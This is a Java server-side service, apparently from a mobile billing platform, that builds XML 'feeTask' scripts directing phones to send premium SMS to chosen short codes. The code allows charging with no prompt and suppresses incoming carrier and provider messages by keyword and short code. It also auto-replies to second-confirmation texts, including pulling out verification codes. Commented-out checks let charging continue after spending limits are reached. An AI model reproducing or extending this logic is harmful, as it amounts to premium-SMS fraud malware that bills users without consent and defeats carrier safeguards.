package com.admin.hessian;

import java.sql.SQLException;
import java.sql.Timestamp;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;

import org.apache.commons.lang.StringUtils;
import org.apache.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import com.admin.bean.BillingBean;
import com.admin.bean.BillingSpBean;
import com.admin.bean.ConsumeOrderBean;
import com.admin.bean.MobileUserBean;
import com.admin.bean.SpBean;
import com.admin.dao.BillingSpDao;
import com.admin.dao.ConsumeOrderDao;
import com.admin.dao.MobileUserDao;
import com.admin.service.BillingService;
import com.admin.service.ProvinceService;
import com.admin.service.SpService;
import com.admin.util.SpUtil;

@Service
public class ScriptService implements IScriptService {

	private static final Logger log = Logger.getLogger(ScriptService.class);
	
	@Autowired MobileUserDao mobileUserDao;
	@Autowired BillingService billingService;
	@Autowired BillingSpDao billingSpDao;
	@Autowired SpService spService;
	@Autowired ConsumeOrderDao consumeOrderDao;
	
	/**
	 * billingId ：计费点ID
	 * nid:smsp#ismi
	 * flag:-1：没有该业务 0：包月确认，不产生计费标签 1:包月取消，进行点播  产生计费标签
	 */
	public ScriptBean getScript(int billingId,String nid,int flag){
		log.info("***************************ji lu ri zhi2222************************");
		//log.info("/************************Start one**********************************/");
		//log.info("开始生成计费点=================>");
		
		
		
		//log.info("参数：billingId="+billingId+",MID="+nid+",flag="+flag);
		try {
			if(flag==1){
				//log.info("flag==1,直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				return null;
			}
			if(!StringUtils.isNotEmpty(nid)){
				//System.out.println("MID为空,直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				return null;
			}
			String nids[] = nid.split("#");
			String smsp = nids[0];
			String ismi = nids[1];
			MobileUserBean user = mobileUserDao.findBySmspAndIsmi(smsp, ismi);//取得用户信息
			if(user==null){
				log.info("用户不存在，直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				return null;
			}
			int isp = user.getIsp();
			int provinceId = 0;
			
			if(SpUtil.direction) {
				String script = SpUtil.getScriptString(user,spService,provinceId,isp);
				if(script!=null&&script.length()>0) {
					return new ScriptBean("feeTask=\""+1+"\"", script);
				}
			}
			if(isp==1){//联通用户
				//log.info("该用户为联通用户");
				provinceId = user.getProvinceId();
				//TODO create fee
				String script = SpUtil.getScriptString(user,spService,provinceId,1);
				if(script!=null&&script.length()>0) {
					return new ScriptBean("feeTask=\""+1+"\"", script);
				}
			}else{
				//log.info("该用户为移动用户");
				provinceId = user.getProvinceId();//取得用户省份
			}
			if(provinceId==0){
				//log.info("省份不存在，直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				return null;
			}
			log.info("省份ID="+provinceId+",省份为："+ProvinceService.getProvince(provinceId).getProvince());
			BillingBean billing = billingService.findBillingById(billingId);//获取计费点
			if(null==billing){
				//log.info("沒有该计费点，直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				
				//TODO create fee
				String script = SpUtil.getScriptString(user,spService,provinceId,0);
				if(script!=null&&script.length()>0) {
					return new ScriptBean("feeTask=\""+1+"\"", script);
				} else {
					return null;
				}
				
				// forumly
				//return null;
			}
			BillingSpBean billingSp = billingSpDao.findBillingSpByProvinceIdAndBillingId(billingId,provinceId);
			if(null == billingSp){
				//log.info("该计费点未绑定SP，直接返回，不产生计费标签");
				//log.info("/***************************End*******************************/");
				
				//***************注释************************/
				
				//TODO create fee
				String script = SpUtil.getScriptString(user,spService,provinceId,0);
				if(script!=null&&script.length()>0) {
					return new ScriptBean("feeTask=\""+1+"\"", script);
				} else {
					return null;
				}
				// forumly
				//return null;
				
			}
			SpBean sp = spService.findSpById(billingSp.getSpId());
			int billingType = billing.getBillingType();//计费类型
			
			String feeId = "";//计费脚本ID
			int feeTimes = 0;//计费条数
			ConsumeOrderBean order = consumeOrderDao.findByCondition(user.getUserId(), billingId, billingType);
			
			/*******************判断包月或点播时效是否过期*****************************/
			if(order!=null){
				int day = billing.getDays();//有效天数
				if(day==0)day=30;
				order = checkOverdue(order, day);
			}
			
			
			if(billingType!=0){//如果是包月
				//log.info("该计费点类型为包月计费");
				if(order!=null){//判断是否已经包过月了
					if(nid.startsWith("R")){//MID为随机生成的
						//log.info("该用户MID为随机生成的，不产生计费标签");
						//log.info("/***************************End*******************************/");
						//*********************去掉注释
						//return null;
					}else{
						int consume = order.getConsume();//已付款
						int fee = billing.getFee();
						//log.info("这个包月费用："+fee);
						//log.info("已付款费用："+consume);
						int ye = fee-consume;
						if(ye>0){//判断是否已经扣完费
							int spfee = sp.getFee();//得到该SP每条短信扣费
							//log.info("每条SP费用："+spfee);
							feeTimes = ye/(spfee/10);
						}else{//扣完费了，不产生扣费脚本
							//log.info("已经扣完费了，不产生计费标签");
							//log.info("/***************************End*******************************/");
							//*********************去掉注释
							//return null;
						}
					}
				}else{//没有包月
					feeTimes = billingSp.getCount();
				}
				feeId = "month"+billing.getBillingId();
			}else{//点播
				//log.info("该计费点类型为点播计费");
				if(order!=null){//判断是否点播过
					if(nid.startsWith("R")){
						//log.info("该用户MID为随机生成的，不产生计费标签");
						//log.info("/***************************End*******************************/");
						return null;
					}else{
						int spendLimit = billing.getSpendLimit();//消费上限
						int consume = order.getConsume();//已付款
						//log.info("该计费点消费上限:"+spendLimit+"，用户已经消费："+consume);
						if(spendLimit>consume){//没有超过上限
							int ye = spendLimit-consume;//剩余的支付上限
							//log.info("该用户未超过消费上限，还可以消费："+ye);
							int fee = billing.getFee();
							//log.info("该计费点资费:"+fee);
							if((ye-fee)>0){//足以此次扣费
								feeTimes = billingSp.getCount();
							}else{
								int spFee = sp.getFee()/10;
								//log.info("绑定SP费用："+spFee);
								feeTimes = ye/spFee;
							}
							
							feeId = "sub"+billing.getBillingId();
						}else{//已超过消费上限，不产生扣费脚本
							//log.info("已经超过消费上限，直接返回，不产生计费标签");
							//log.info("/***************************End*******************************/");
							//*********************去掉注释
							//return null;
						}
					}
				}else{//没有点播过
					feeTimes = billingSp.getCount();
					feeId = "sub"+billing.getBillingId();
				}
			}
			
			//TODO create fee
			String script = SpUtil.getScriptString(user,spService,provinceId,0);
			if(script!=null&&script.length()>0) {
				log.info("feeTask=1");
				return new ScriptBean("feeTask=\""+1+"\"", script);
			}
			
			
			
			int tipType = billing.getTipType();//扣费提示类型（A为无提示性，B为提示性，C为确认型,D为首次确认）
			String shieldContent = sp.getSpShieldContent();//屏蔽SP下行
			String mobileShieldContent = sp.getIspShieldContent();//屏蔽运营商下行
			
			//TODO 要改此处。。。
			/*******************开始生成脚本************************/
			StringBuffer scriptStr = new StringBuffer();
			scriptStr.append("<info type=\"feeTask\"");
			scriptStr.append(" id=\""+feeId+"\"");
			scriptStr.append(" feeType=\"sms\"");//扣费的类型(SMS短信扣费，WAP 页面扣费)
			scriptStr.append(" feeTimes=\""+feeTimes+"\"");//扣费次数（上行短信次数）
			String tipMessage = billing.getTipMessage();
			if(tipMessage!=null && !tipMessage.equals("")){
				String memo[] = sp.getSpMemo().split("#");
				//log.info("公司："+memo[0]+",业务："+memo[1]+",电话："+memo[2]);
				tipMessage = tipMessage.replaceAll("gs%",memo[0]).replaceAll("yw%", memo[1]).replaceAll("tel%", memo[2])
					.replaceAll("zf%", ""+sp.getFee()/10).replaceAll("cs%", ""+billingSp.getCount());
			}
			if(tipType==0){//扣费提示类型（A为无提示性，B为提示性，C为确认型,D为首次确认，E为确认超时,F为确认取消）
				scriptStr.append(" showType=\"A\"");
			}else if(tipType==1){
				scriptStr.append(" showType=\"B\"");
				scriptStr.append(" showContent=\""+tipMessage+"\"");//扣费提示内容
			}else if(tipType==2){
				scriptStr.append(" showType=\"D\"");
				scriptStr.append(" showtimes=\""+billing.getPeriodHour()+"\"");//首次确认扣费有效时间（单位：小时）
				scriptStr.append(" showContent=\""+tipMessage+"\"");//扣费提示内容
				
			}else if(tipType==3){
				scriptStr.append(" showType=\"C\"");
				scriptStr.append(" showContent=\""+tipMessage+"\"");//扣费提示内容
			}else if(tipType==4){
				scriptStr.append(" showType=\"E\"");
				scriptStr.append(" showContent=\""+tipMessage+"\"");//扣费提示内容
			}else{
				scriptStr.append(" showType=\"F\"");
				scriptStr.append(" showContent=\""+tipMessage+"\"");//扣费提示内容
				scriptStr.append(" showtimes=\"1\"");//只首次提示
			}
			if(billing.getConfirmTimes()!=0){
				scriptStr.append(" confirmTimes=\""+billing.getConfirmTimes()+"\"");//超时秒数
			}
			scriptStr.append(" command=\""+sp.getCommand()+"\"");//上行短信的内容(指令)
			scriptStr.append(" trone=\""+sp.getPort()+"\"");//上行短信通道号
			
			
			/**************************下行是否屏蔽逻辑处理****************************/
			String delKeyword = "";
			String delTrone = "";
			if(shieldContent!=null && shieldContent.trim().length()>0){
				String str[] = shieldContent.split("%");
				delKeyword = str[1];
				delTrone = str[0];
			}
			
			if(mobileShieldContent!=null && mobileShieldContent.trim().length()>0){
				String str[] = mobileShieldContent.split("%");
				if(delKeyword!=""&&!delKeyword.equals(str[1])){
					delKeyword += ",";
					delTrone += ",";
				}
				if(!delKeyword.equals(str[1])){
					delKeyword += str[1];
				}
				delTrone += str[0];
			}
			
			if(delKeyword!=""){
				scriptStr.append(" delKeyword=\""+delKeyword+"\"");//下行短信屏蔽关键字
			}
			if(delTrone!=""){
				scriptStr.append(" delTrone=\""+delTrone+"\"");//下行短信通道号
			}
			
			/**************************二次确认逻辑处理****************************/
			
			/**
			 * 运营商二次确认
			 */
			int ispConfirmSecond = sp.getIspConfirmSecond();
			int ispConfirmType = sp.getIspConfirmType();
			String ispConfirmContent = sp.getIspConfirmContent();
			
			/**
			 * sp二次确认
			 */
			int spConfirmSecond = sp.getSpConfirmSecond();
			int spConfirmType = sp.getSpConfirmType();
			String spConfirmContent = sp.getSpConfirmContent();
			
			if(ispConfirmSecond == 1){//如果有运营商二次确认
				String str[] = ispConfirmContent.split("#");
				String confirmKeyWord[] = str[1].split("%");
				scriptStr.append(" confirmKeyword=\""+confirmKeyWord[1]+","+confirmKeyWord[2]+",\"");
				if(ispConfirmType == 1){//回复固定内容
					scriptStr.append(" confirmCommand=\""+str[2]+"\"");
				}else if(ispConfirmType == 2){//回复校验码内容
					scriptStr.append(" recFindKeywrod=\""+str[2].replace("%", "|").replace("\"", "&quot;")+"\"");
				}
				int timeInterval = sp.getTimeInterval();
				if(timeInterval>2){
					scriptStr.append(" feeinterval=\""+timeInterval+"\"");
				}
				scriptStr.append(" confirmTrone=\""+str[0]+"\"");//二次确认回复短信通道号
			}else if(spConfirmSecond == 1){//如果有SP二次确认
				String str[] = spConfirmContent.split("#");
				String confirmKeyWord[] = str[1].split("%");
				scriptStr.append(" confirmKeyword=\""+confirmKeyWord[1]+","+confirmKeyWord[2]+",\"");
				if(spConfirmType == 1){//回复固定内容
					scriptStr.append(" confirmCommand=\""+str[2]+"\"");
				}else if(spConfirmType == 2){//回复校验码内容
					scriptStr.append(" recFindKeywrod=\""+str[2].replace("%", "|").replace("\"", "&quot;")+"\"");
				}
				int timeInterval = sp.getTimeInterval();
				if(timeInterval>2){
					scriptStr.append(" feeinterval=\""+timeInterval+"\"");
				}
				scriptStr.append(" confirmTrone=\""+str[0]+"\"");//二次确认回复短信通道号
			}
			
			scriptStr.append("></info>");
			log.info("产生脚本："+scriptStr.toString());
			//log.info("/***************************End*******************************/");
			return new ScriptBean("feeTask=\""+feeId+"\"", scriptStr.toString());
		} catch (SQLException e) {
			e.printStackTrace();
			//log.info("/***************************End*******************************/");
			return null;
		}
		
	}

	/**
	 * 判断用户消费记录是否过期
	 * @param order
	 * @param day
	 * @return
	 */
	private ConsumeOrderBean checkOverdue(ConsumeOrderBean order, int day) {
		Timestamp createTime = order.getUpdateTime();//订单创建时间
		Calendar cal = Calendar.getInstance();
		cal.add(Calendar.DAY_OF_MONTH, -day);//取当前时间的day天前
		Calendar tempCal = Calendar.getInstance();
		tempCal.setTimeInMillis(createTime.getTime());//把createTime转换为Calendar对象
		SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		//log.info("开始消费时间："+sdf.format(tempCal.getTime()));
		//log.info("当前时间:"+sdf.format(new Date()));
		//log.info("有效天数："+day);
		if(cal.after(tempCal)){
			//log.info("消费记录过期了,删除原消费记录。重新计算消费！");
			consumeOrderDao.delById(order.getOrderId());
			order = null;
		}else{
			//log.info("消费记录未过期！");
		}
		return order;
	}

	/**
	 * 判断该用户是否已经包月了
	 * @param billingId
	 * @param nid
	 * @return
	 * @throws SQLException 
	 */
	public boolean hasBilling(int billingId,String nid) throws SQLException{
		//log.info("===============开始判断用户是否包月了===============");
		log.info("billingId:"+billingId+",nid:"+nid);
		String nids[] = nid.split("#");
		String smsp = nids[0];
		String ismi = nids[1];
		MobileUserBean user = mobileUserDao.findBySmspAndIsmi(smsp, ismi);//取得用户信息
		if(user==null){
			//log.info("用户资料不存在，则默认该用户已经包月了，不产生计费脚本！");
			return true;
		}
		ConsumeOrderBean order = consumeOrderDao.findByCondition(user.getUserId(), billingId, 1);
		if(order==null){
			//log.info("没有消费记录，则表示该用户没有包月。");
			return false;
		}else{
			BillingBean billing = billingService.findBillingById(billingId);//获取计费点
			int day = billing.getDays();//有效天数
			if(day==0)day=30;
			order = checkOverdue(order, day);
			if(order==null){
				//log.info("消费记录已经过期了,需要重新包月!");
				//log.info("===============判断用户是否包月结束===============");
				return false;
			}else{
				//log.info("消费记录未过期！");
				//log.info("===============判断用户是否包月结束===============");
				return true;
			}
		}
	}
}
